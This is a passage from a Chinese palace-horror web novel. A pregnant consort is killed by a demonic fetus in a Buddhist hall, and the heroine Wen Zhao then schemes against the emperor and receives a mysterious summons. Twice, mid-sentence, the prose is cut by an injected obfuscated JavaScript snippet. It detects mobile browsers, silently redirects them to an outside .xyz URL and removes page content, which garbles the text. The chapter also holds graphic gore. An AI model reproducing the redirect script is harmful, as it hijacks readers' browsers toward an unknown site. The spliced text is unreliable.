梁婕妤怔在门槛,指尖的冰凉被一股突如其来的暖意驱散。方才那浓得化不开的阴寒与铁锈腥气,竟似被这扇门彻底隔绝在了身后。取而代之的,是满室流淌的、近乎实质的柔光。 佛堂内,灯火通明,不,是“慈光”普照。 无数盏莲花琉璃灯高悬,烛火并非寻常的明黄,而是温润如月华般的、带着淡淡暖金的色泽,将每一寸空间都浸染得圣洁而祥和。那光柔和却不昏暗,充盈着整个殿堂,将先前老太监所见可怖的幽绿鬼影驱散得无影无踪。空气中弥漫的不再是血腥与腐朽,而是清冽纯粹的檀香,丝丝缕缕,沁人心脾,仿佛能涤荡世间一切污浊与恐惧。 方才还狰狞流淌血泪的佛像,此刻在慈光的沐浴下,金身熠熠生辉,剥落的漆皮非但不见狰狞,反而像是自然剥落的古老金箔,透出一种沉淀千年的庄严与温和。它们依旧垂目,但那目光不再是穿透骨髓的阴冷审视,而是真真切切、充满悲悯的俯视,带着一种抚慰人心的力量,无声地洒落在她身上。 梁婕妤的心跳,从方才的惊惧欲裂,渐渐被一种难以言喻的暖流包裹,变得平缓而充满力量。她下意识地抚上自己尚未显怀的小腹,那里正孕育着她在深宫立足的全部希望与寄托。 就在这时,她的目光被经堂中央那巨大的紫檀木供桌牢牢攫住。 供桌之上,一尊白玉雕琢的观音像静静伫立。那观音并非寻常的净瓶杨柳法相,而是罕见的“多子多福”送子观音。菩萨面容温婉慈和至极,唇角含着普度众生的浅笑,怀中、膝上、足畔,依偎着、攀爬着、嬉戏着数个胖乎乎、粉雕玉琢的童子。 童子们神态各异,或憨态可掬,或天真烂漫,每一个都栩栩如生,肌肤莹润仿佛吹弹可破,眉眼间洋溢着纯净的喜悦。白玉在暖金烛光的映照下,流转着温润内敛的光华,将那“多子多福”的寓意烘托得无比鲜明而神圣。 梁婕妤的呼吸瞬间屏住了。一股巨大的、几乎要将她淹没的狂喜猛地冲上心头,瞬间驱散了所有残留的不安与疑虑。 老太监?血腥?方才门外感受到的一切,难道只是她忧思过甚产生的错觉?是了,定是佛祖显灵,特意在她彷徨无助的深夜,为她驱散阴霾,降下如此清晰明确的吉兆。 “天意……这是天意啊!”她几乎要喜极而泣,声音带着颤抖的哽咽,在这片祥和的佛光中显得如此虔诚而激动。 她不由自主地向前迈步,仿佛被那尊送子观音无形地牵引着,走向那象征着无尽福泽与希望的光明中心。腹中的胎儿似乎也感受到了这份神赐的喜悦,在她掌心下传来一阵微弱的悸动。 满殿佛像的垂目,此刻在她眼中,尽是无声的祝福;那流淌的暖金光芒,是佛国为她铺设的坦途。 她沉浸在巨大的幸福与对未来的憧憬里,全然未曾察觉,那供桌之下阴影最浓处的地面上,似乎有一小片未被完全照亮的、颜色格外深沉的污渍,正悄然蜿蜒,如同一条沉默的、通往幽冥的暗河。 突然,阴风四起。佛堂深处,那最初响起的、空空空空的木鱼声,骤然停歇。 绝对的死寂,比任何尖叫都更令人窒息。 那风来得毫无征兆,如同冰窖深处喷涌出的寒流,瞬间席卷了整个佛堂。满殿温暖如春的“慈光”被这阴风一激,竟猛地剧烈摇曳起来,莲花琉璃灯盏发出“哐啷啷”的碰撞脆响,光影疯狂晃动,将佛像庄严的金身切割成无数跳跃、扭曲的碎片。 梁婕妤脸上的狂喜瞬间冻结。 风声中,夹杂着一种极其细微、却又清晰无比的声音,是孩童的嬉笑。咯咯咯咯……清脆,空洞,并非发自那多子多福观音怀中的童子,而是从四面八方,从佛堂的每一个角落,甚至从那些垂目的佛像金身内部……渗透出来。 笑声越来越大,越来越密,层层叠叠,在空旷的殿堂里反复回荡,非但不显童真,反而透着一股令人毛骨悚然的邪异,仿佛无数看不见的婴灵正环绕着她,嬉闹追逐。 更让她魂飞魄散的是,供桌上那尊温润如玉、慈悲含笑的多子多福观音像。 在疯狂摇曳、忽明忽暗的烛光下,观音唇角那永恒不变的慈悲弧度,竟如同融化的蜡油般,极其缓慢地、极其诡异地……向上拉扯。 原本温婉的面容,在光影的切割中变得僵硬、诡异,那笑容越咧越大,越咧越深,最终竟变成一个咧到耳根、露出森森牙床的狞笑。白玉的光泽也在瞬间褪去,变得灰败死寂,如同蒙尘的尸骨。 “咯咯咯……嘻嘻嘻……”童子的笑声陡然拔高,变得尖锐刺耳。 梁婕妤惊恐的目光猛地投向观音怀中那些粉雕玉琢的童子,哪里还有什么纯净的喜悦? 那些胖乎乎的白玉童子,此刻肌肤寸寸皲裂,剥落处露出的不是血肉,而是污秽不堪的泥土与干枯的草茎。它们脸上天真烂漫的表情凝固、扭曲,眼窝深陷成两个漆黑的空洞,空洞里渗出粘稠的、暗红色的泥浆,如同血泪。 它们依旧攀附在观音身上,动作却变得僵硬诡异,带着一种贪婪的、啃噬般的姿态,白玉碎裂的嘴角也一同咧开,发出与那观音如出一辙的无声狞笑。那尊“多子多福”的圣像,瞬间化作了一群扒附在邪祟之上的、泥塑的、淌着血泥的鬼童。 “啊!!!”梁婕妤的尖叫终于冲破喉咙,却瞬间被更响亮的阴风与鬼童尖笑淹没。她踉跄着想要后退,逃离这瞬间化作魔窟的佛堂。 然而,晚了。 那股阴风如同有生命的巨蟒,猛地缠住了她的脚踝,冰冷刺骨的寒意瞬间穿透绣鞋,直刺骨髓。同时,她感到腹中一阵从未有过的、撕裂般的剧痛猛然袭来。那痛楚如此尖锐,如此陌生,仿佛有一只冰冷的手在她温暖的子宫里狠狠攥紧、撕扯。 “我的孩子……!”她失声痛呼,双手死死护住小腹,冷汗瞬间浸透了里衣。方才感受到的胎动喜悦,此刻化作了灭顶的恐惧。 就在这时,那供桌下蜿蜒的深色污渍,仿佛被阴风催动,猛地加速流淌,“唰”地一下延伸到她脚边。那根本不是污渍,而是粘稠得化不开的、散发着浓烈腥臭的人血。 血迹的尽头,赫然是莲花座下那团扭曲的阴影。老太监那拧转一百八十度的头颅,在剧烈晃动的惨绿光影中,那双死不瞑目的、凝固着极致恐惧的眼睛,竟直勾勾地“看”向了她因剧痛而扭曲的脸。 佛堂内,那温润的“慈光”在阴风的肆虐下,如同风中残烛般迅速熄灭、扭曲、变色……最终,竟悉数化作了最初那令人作呕的、幽幽的惨绿。 惨绿鬼火重新统治了空间。 在这地狱般的光线下,梁婕妤惊恐地看到,那些高踞佛龛之上的佛像,它们垂落的头颅……竟又开始了无声的转动。这一次,不再是细微的角度,而是极其缓慢、却又无比坚定地,将那些泥塑石雕的森然面孔,一点、一点地……完全扭转向了她。 万佛垂目?不,是万鬼凝视。那是来自子祭佛的贪念和阴沉。传说中的子祭佛,一佛现世,万佛沉沦为恶鬼。 无数双空洞、冰冷、毫无生气的石雕眼珠,在幽幽绿火的映照下,如同镶嵌在井壁上的、密密麻麻的死人眼瞳,带着万古的沉寂与无边的恶意,将她和她腹中遭受剧痛的生命,彻底囚禁在这片由鲜血、鬼笑和石像目光构成的炼狱之中。 那空空空空的木鱼声,又响起来了。 “娘!娘……” 那嘶吼并非婴孩的啼哭,而是刮擦着朽木与碎骨的、带着粘稠血沫的尖啸,刺穿了阴风与鬼童的狞笑,直直扎入梁婕妤残存的意识。 剧痛已将她撕扯得支离破碎,意识如同风中残烛。她涣散的瞳孔倒映着那从自己腹腔血污中站起来的“东西”。 那根本不是一个婴儿,它通体覆盖着湿滑、暗红的胎膜,四肢扭曲如枯枝,细小的骨节在薄皮下怪异地凸起。一条污秽发黑、滴着浓血的脐带,如同一条毒蛇,一头连在它蠕动的肚腹,另一头……还深深扎根在她破碎的子宫深处。 它没有眼睛,本该是眼窝的位置,只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908319|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个不断渗出污血的、深不见底的黑窟窿。那张撕裂至耳根的嘴巴里,是密密麻麻、如同锯齿般的细碎尖牙,正开合着,发出那令人魂飞魄散的“娘”的尖啸。 它小小的、沾满血污和肠液的手爪,正死死抠抓着从梁婕妤腹腔拖拽出的、一段滑腻温热的肠子,如同把玩着新得的玩具。 “嗬…嗬…”梁婕妤喉咙里发出破风箱般的抽气声,她想尖叫,却只能呕出大股滚烫的鲜血,溅在那鬼婴污秽的身体上。 她感觉不到孩子的存在了,只感到一个冰冷、贪婪的怪物,正通过那根脐带,疯狂地吮吸着她最后一点残存的生命力。那不是孕育,是掠夺、是吞噬。 “呵…哒哒哒……”周围佛龛上那些泥塑的鬼童,笑声陡然变成了哭泣声,它们僵硬地拍打着开裂的泥手,空洞淌血的眼窝齐齐“盯”着那站在地上的怪物,它们在畏惧另一个更强大的邪祟。 那不是子祭佛……那究竟是什么东西……无人知晓。 第一缕惨白的晨光,怯生生地、带着试探的意味,从佛堂高窗的缝隙里渗了进来。它像一把迟钝的、沾满污垢的钝刀,艰难地劈开了殿内浓稠得化不开的黑暗与残留的惨绿鬼气。 死寂。 比夜更深、更沉、更令人窒息的死寂。 木鱼声早已停了,连同那些咯咯的鬼笑、刺骨的阴风、梁婕妤最后的惨呼……仿佛昨夜那场惊心动魄的炼狱,不过是这皇家佛堂做的一个漫长而污秽的噩梦。 只有空气中那浓烈得令人作呕的铁锈腥气,混合着檀香灰烬的陈腐,以及一种……脏器暴露在空气里太久后特有的甜腻腐败味,固执地宣告着一切并非虚幻。 光,一寸一寸,艰难地挪移着。 它首先照亮了佛堂中央那片巨大的、深褐近黑的污渍。那不是水渍,是凝固的、粘稠的血。它从供桌下蜿蜒而出,如同一条干涸的、通往地狱的暗河,最终汇聚在梁婕妤倒卧的地方。 梁婕妤仰面躺着,宫装被撕扯得凌乱不堪,腹腔处是一个巨大、狰狞的破口,边缘的皮肉翻卷着,呈现出一种被暴力撕开的、极不规则的形状。 肠管、破碎的脏器隐约可见,暴露在冰冷的晨光下,颜色是令人心悸的灰败。她的眼睛瞪得极大,瞳孔早已涣散,凝固着生命最后一刻所能承受的极致惊骇与剧痛,直勾勾地望着穹顶那些垂目的佛像,仿佛在无声地诘问。 她的双手,依旧死死地护在小腹的位置,只是那曾经孕育着希望和未来的地方,此刻只剩下一个血肉模糊的空洞。那根污秽发黑、本该连接着婴孩的脐带,此刻却孤零零地垂落在血泊边缘,断口处参差不齐,像是被什么野兽的利齿狠狠咬断。 而在她身侧不远处,老太监的尸体以一种匪夷所思的角度扭曲着,脖颈拧转了一百八十度,那张布满褶皱的老脸正对着梁婕妤空荡的腹腔,浑浊的眼珠几乎要凸出眼眶,同样凝固着深入骨髓的恐惧。他手中那盏破旧的灯笼,滚落在血泊里,糊满了暗红的污迹。 晨光继续蔓延,小心翼翼地爬上紫檀供桌。 满殿佛像,高踞莲台,垂目低眉,宝相庄严。金身在晨光中熠熠生辉,昨夜那无声扭转的森然头颅、密密麻麻如同井壁鬼眼的凝视,都已消失无踪。 它们沉默着,如同亘古不变的磐石,俯视着脚下这片新鲜的人间地狱,眼神里是千年不变的、冰冷的悲悯……或者,是漠然? 殿门被小心翼翼地推开一条缝,发出令人牙酸的“吱呀”声,打破了这令人窒息的死寂。一个提着水桶、负责洒扫的小太监,探头探脑地往里张望。 下一刻,刺破云霄的、非人的尖叫声猛地炸响,几乎掀翻了佛堂沉重的梁木。 “啊!!!死……死人啦!死人啦!!!” 水桶“哐当”一声砸在地上,污水四溅。小太监连滚带爬地摔出门槛,脸色惨白如纸,手脚并用地向外逃去,嘶哑的叫声在清晨空旷的宫道里疯狂回荡,惊起远处树梢上几只昏聩的乌鸦。 骚动,如同投入死水潭的石子,迅速在深宫冰冷的肌理下蔓延开来。杂乱的脚步声由远及近,侍卫沉重的甲胄碰撞声、宫人压抑的惊呼和议论声、管事太监尖利的呵斥声……迅速将佛堂围了个水泄不通。 “封锁!任何人不得进出!”侍卫统领的声音带着惊疑不定的铁锈味。 几个胆大的侍卫,强忍着胃里翻江倒海的恶心,屏息踏入佛堂。浓烈的血腥气扑面而来,几乎令人窒息。眼前的景象让他们这些见惯了刀光剑影的汉子也瞬间头皮发麻,脊背发凉。 “我的老天爷……”有人倒抽一口冷气。 “是梁婕妤?还有……守夜的王公公?” “这……这肚子……”另一个侍卫脸色煞白,看着梁婕妤腹部的惨状,喉头滚动,强压下呕吐的欲望。 此刻喧嚣声不断,温招才悠悠转醒…… 7. 007 温招昨夜睡在了栖梧宫的偏殿,一大早便听到嘈杂声,她揉了揉额头,走出了寝殿。 魑惊和柳含烟一同迎上来。“娘娘,梁婕妤昨夜死在了佛堂。”魑惊小心的打量着温招的神情。 温招神色如常,缓缓迈开步子,走进正殿,看着躺在软榻上熟睡着的常青,眼神中闪过一丝嫌弃,掏出一块巾帕,隔着巾帕推了推常青。 常青缓缓睁开了双眼,映入眼帘的是温招那平静的脸。“皇上……昨夜梁婕妤…在佛堂……毙了……”温招跪在地上,脊背却挺得笔直,故作慌张的开口。 常青骤然起身,眉头紧蹙,动作快得像一阵裹挟寒气的风。他一把扯过搭在屏风上的外袍,胡乱披上,系带的手指带着一种压抑的焦躁,骨节微微泛白。 “毙了?”他声音低沉,带着刚睡醒的沙哑,却像冰棱刮过地面,“佛堂?怎么回事?” 温招依旧跪得笔直,低垂的眼睫掩去了眸底所有情绪,只余下声音里恰到好处的惊惶与茫然:“臣妾也是方才得知……守夜的宫人早起洒扫,才发现梁婕妤她……已没了气息,身子都僵了……”她顿了顿,声音放得更轻,像怕惊扰了什么,“瞧着……像是……巫术?”最后两个字吐得极轻,带着一丝不确定的试探。 “摆驾!去佛堂!”常青的吼声在空旷的殿宇里回荡,带着不容置疑的威压。 栖梧宫瞬间被一种紧绷的死寂笼罩,只剩下常青急促的脚步声和宫人们屏息敛气的压抑呼吸。温招这才缓缓起身,动作优雅得如同拂去衣袖上并不存在的尘埃。 随后像是带着安抚的望了温招一眼:“招儿莫怕,有朕在。”随后头也不回的,离开了栖梧宫。 她看着常青消失在殿门外的背影,脸上那层薄薄的惊慌如同融雪般褪去,只剩下一种深潭般的平静,甚至带着一丝难以察觉的、冰凉的倦怠。 “招儿……” 这个称呼,像一根淬了蜜糖的毒针,猝不及防地刺入记忆深处。 上一世。 也是这般华美囚笼般的宫殿,红烛摇曳,锦帐低垂。她曾那样愚蠢地依偎在他怀里,听着他低沉的声音在枕畔响起,带着她误以为是独属的温柔,一遍遍唤她“招儿”。那时,他滚烫的呼吸拂过她的耳廓,她竟天真地以为,那是情之所至,是帝王难得的真心流露。她曾用尽毕生的力气去相信,去回应,去沉溺在那虚幻的暖意里,像扑火的飞蛾,献祭了自己所有的光热。 呵…… 温招的唇角,极其缓慢地向上弯起一个弧度。那不是愉悦的笑,而是从冻僵的心湖深处裂开的一道冰缝,溢满了无尽的荒诞与自嘲。 蠢。 真是蠢透了。 她无声地咀嚼着这个字眼,舌尖仿佛尝到了前世咽下的所有血泪。那血泪早已在时光的磨盘下碾成了齑粉,混着今生的算计与冰冷,重新凝固成她坚硬的心甲。 自古以来,帝王无情。龙椅上盘踞的,从来不是有血有肉的人,而是权力本身冰冷的化身。情爱?真心?不过是他们闲暇时用以逗弄宠物的精致点心,或是用以收买人心的廉价筹码。她温招,曾贵为良妃,温婉淑德,尽享独宠,到头来也不过是他权衡利弊时一颗随时可以舍弃的棋子,一场精心策划的阴谋里最完美的祭品。 她竟妄想在这浸透了阴谋、血腥与背叛的深宫泥沼里,捞取一丝真心? 她轻轻拂了拂衣袖上并不存在的灰尘,动作优雅至极,带着一种尘埃落定后的、近乎残忍的平静。 魑惊走进殿内,压低声音:“娘娘,皇后那边也安排好了。” 温招没有回应,只是用指尖轻轻捻了捻方才推过常青的那块素白巾帕,仿佛上面沾染了什么不洁之物。她随手将帕子递给魑惊,眼神示意了一下,魑惊立刻会意,将那帕子拢入袖中,动作隐秘。 午时的日光透过雕花窗棂,在地砖上投下斑驳的光影。消息如同长了脚的风,精准地送到了栖梧宫。 魑惊呈上一张素笺。温招展开,目光平静地扫过上面墨迹未干的字句: “秽乱宫闱,亵渎神明,私通妖邪,遭了天谴。”她顿了顿,指尖划过冰冷的纸面,每一个字都像淬了寒冰、淬了剧毒的钉子,狠狠钉在梁婕妤已然冰冷的名誉之上。“梁氏心术不正,行止不端,祸乱宫闱,引邪祟入体,自食其果。王公公忠心护主,不幸殉职。” “皇上……”魑惊的声音压得更低,带着一丝不易察觉的紧绷,“又因皇后殿前失仪,令其禁足三月……” 温招的目光终于从那纸荒谬的判词上抬起,望向窗外刺目的阳光。突然,一声极轻、极冷的嗤笑从她唇边逸出,如同冰珠滚落玉盘,瞬间打破了殿内压抑的沉寂。 好一个“自食其果”! 好一个“忠心护主”! 常青定然是查到了。查到了皇后那的草编娃娃。那粗鄙的巫蛊之术,便是“私通妖邪”的铁证。可他根本不在乎梁婕妤的死活。 那佛堂里真正的血腥恐怖,那绝非人力所能为的惨烈,都被这轻飘飘的“邪祟”二字一笔带过。他不愿动,也不能动尚书府。 皇后背后的保皇一派势力,如今在朝堂三股势力的微妙平衡中,虽处末端,却仍是支撑他龙椅不可或缺的一角。 在这种风雨飘摇、自身根基尚未完全稳固的时刻,常青断然不会自断一臂,为了一个已死的、无足轻重的妃子去撼动朝局。 这所谓的“禁足三月”,不过是一场心照不宣的表演。一方面,是做给梁婕妤身后那些或真心或假意的人看,以示“公道”,堵悠悠众口,出一口或许连他自己都未曾察觉的、被冒犯的闷气?另一方面,则是敲山震虎,小惩大诫,警告皇后及其背后的势力。 人命如草芥。 在这金碧辉煌、吃人不吐骨头的后宫之中,所谓的善恶黑白,不过是由权力书写、由利益粉饰的苍白符号。又有谁能真的拎得清?又有谁……在乎去拎得清? 温招的指尖无意识地摩挲着袖中冰冷坚硬的玉镯。那玉质温润,触手生凉。 就在这死寂的、连空气都仿佛凝固的瞬间。 “嗖!” 一道刺耳的破空声毫无征兆地撕裂了殿内的凝滞! 温招甚至来不及反应,只觉得额角猛地一痛!那痛感尖锐、冰冷,带着一股蛮横的冲击力,撞得她眼前金星乱冒,下意识地闷哼一声,身体不受控制地向后踉跄了半步。 “娘娘!”魑惊和柳含烟同时惊呼,脸色骤变,瞬间抢步上前。 温招抬手,指尖颤抖着抚上被击中的额角。那里传来清晰的钝痛,皮肤火辣辣的,想必已红了一片。她低头,目光森冷地投向脚边那个肇事的“凶器”。 一个金灿灿、沉甸甸的金元宝,正静静躺在光洁如镜的黑色地砖上,散发着冰冷而刺目的光芒。那光芒在殿内略显昏暗的光线下,竟显得有几分妖异。元宝上还残留着撞击的力道,微微滚动了一下,最终停稳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908320|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魑惊迅速俯身拾起,入手冰凉沉重,是十足十的赤金。她脸色难看至极,立刻扑到窗边向外张望。然而窗外庭院空空如也,只有几株修剪得宜的花木在微风中轻颤,连个鬼影都没有。那东西,竟像是凭空出现,精准地砸向温招的额头。 好,好得很,又是那个劳什子阮柿子!把她温招当软柿子捏是吧!温招此刻气的牙痒痒,对那个神出鬼没的阮柿子杀意又浓了几分。 魑惊握着那枚冰凉的金元宝,感受到主子身上散发出的、几乎要冻结空气的恐怖杀意,连呼吸都屏住了。柳含烟亦是脸色煞白,扶着温招手臂的手指微微用力,仿佛在无声地传递着支撑。 就在温招眼底的暴戾即将化为实质的指令时,魑惊的目光死死锁定了金元宝的底部。那里,并非光滑的金面,而是被一根细细的、几乎与金色融为一体的金线,极其精巧地缠绕捆绑着一小卷东西。 “娘娘!”魑惊的声音带着一丝不易察觉的颤抖,她几乎是屏着呼吸,用指尖极其小心地捻住那根金线,试图解开那卷东西。金线异常坚韧,她的指甲因为用力而微微泛白。 温招的杀意被这微小的阻碍强行拉回一丝。她猛地低头,森冷的目光如同淬毒的冰锥,钉在魑惊指尖的动作上。 终于,“嗒”一声轻响,金线被解开。魑惊用两根手指,如同拈起毒蛇的七寸,极其谨慎地将那卷从金元宝上解下的东西拈起。 那同样是一张纸,魑惊递给温招。墨色浓黑,力透纸背。那字迹狂放得近乎嚣张,龙飞凤舞,透着一股子全然不顾他人死活的恣意妄为。每一个笔画都像是醉汉挥毫,却又带着一种奇异的、不容置疑的力道,扑面而来一股浓烈的……混账气息。 “酉时三刻,聚欢阁。” 七个字。 没有称谓,没有缘由,只有时间地点,莫秒奇妙得令人发指。 柳含烟有些担心的望向温招:“可是上次那位阮公子?”毕竟上次那两枚沉甸甸的金元宝,如今还历历在目。 温招盯着那七个字,一动不动。 殿内死寂得可怕,连窗外风拂花叶的细微声响都消失了,只剩下三人压抑到极致的呼吸声。 一秒,两秒,三秒…… 一声极轻、极短促的气音,从温招的鼻腔里逸了出来。 不是冷笑,不是嗤笑,更像是什么东西绷紧到极致后,猝然断裂的、带着荒谬回响的余韵。 紧接着,那紧抿的、线条冷硬如冰刃的唇角,以一种极其缓慢、又极其诡异的弧度,向上弯了起来。 她笑了。 不是那种雍容华贵的浅笑,也不是前世面对常青时装出的温婉柔顺,更不是方才面对梁婕妤死讯和常青判词时那种深潭般的平静。 这笑容,带着一种近乎撕裂感的荒诞。 气到极致,怒到顶点,杀意沸腾如熔岩,却被这突如其来的、莫名其妙又充满了挑衅的“邀约”给硬生生噎住了。 就像你蓄积了毁天灭地的力量,正准备一拳轰出,对面却轻飘飘丢过来一个……金元宝?还附赠一张写着“来玩啊”的破纸条? “呵……” 一声短促的、带着明显颤音的嗤笑,终于从她唇齿间清晰地挤了出来。那笑声不大,却像冰锥划过琉璃,尖锐又刺耳,在死寂的殿内显得格外突兀。 魑惊和柳含烟惊疑不定地看着温招。温招……这是气疯了? “想给梁婕妤去垫棺材是吧,行,本宫成全你。”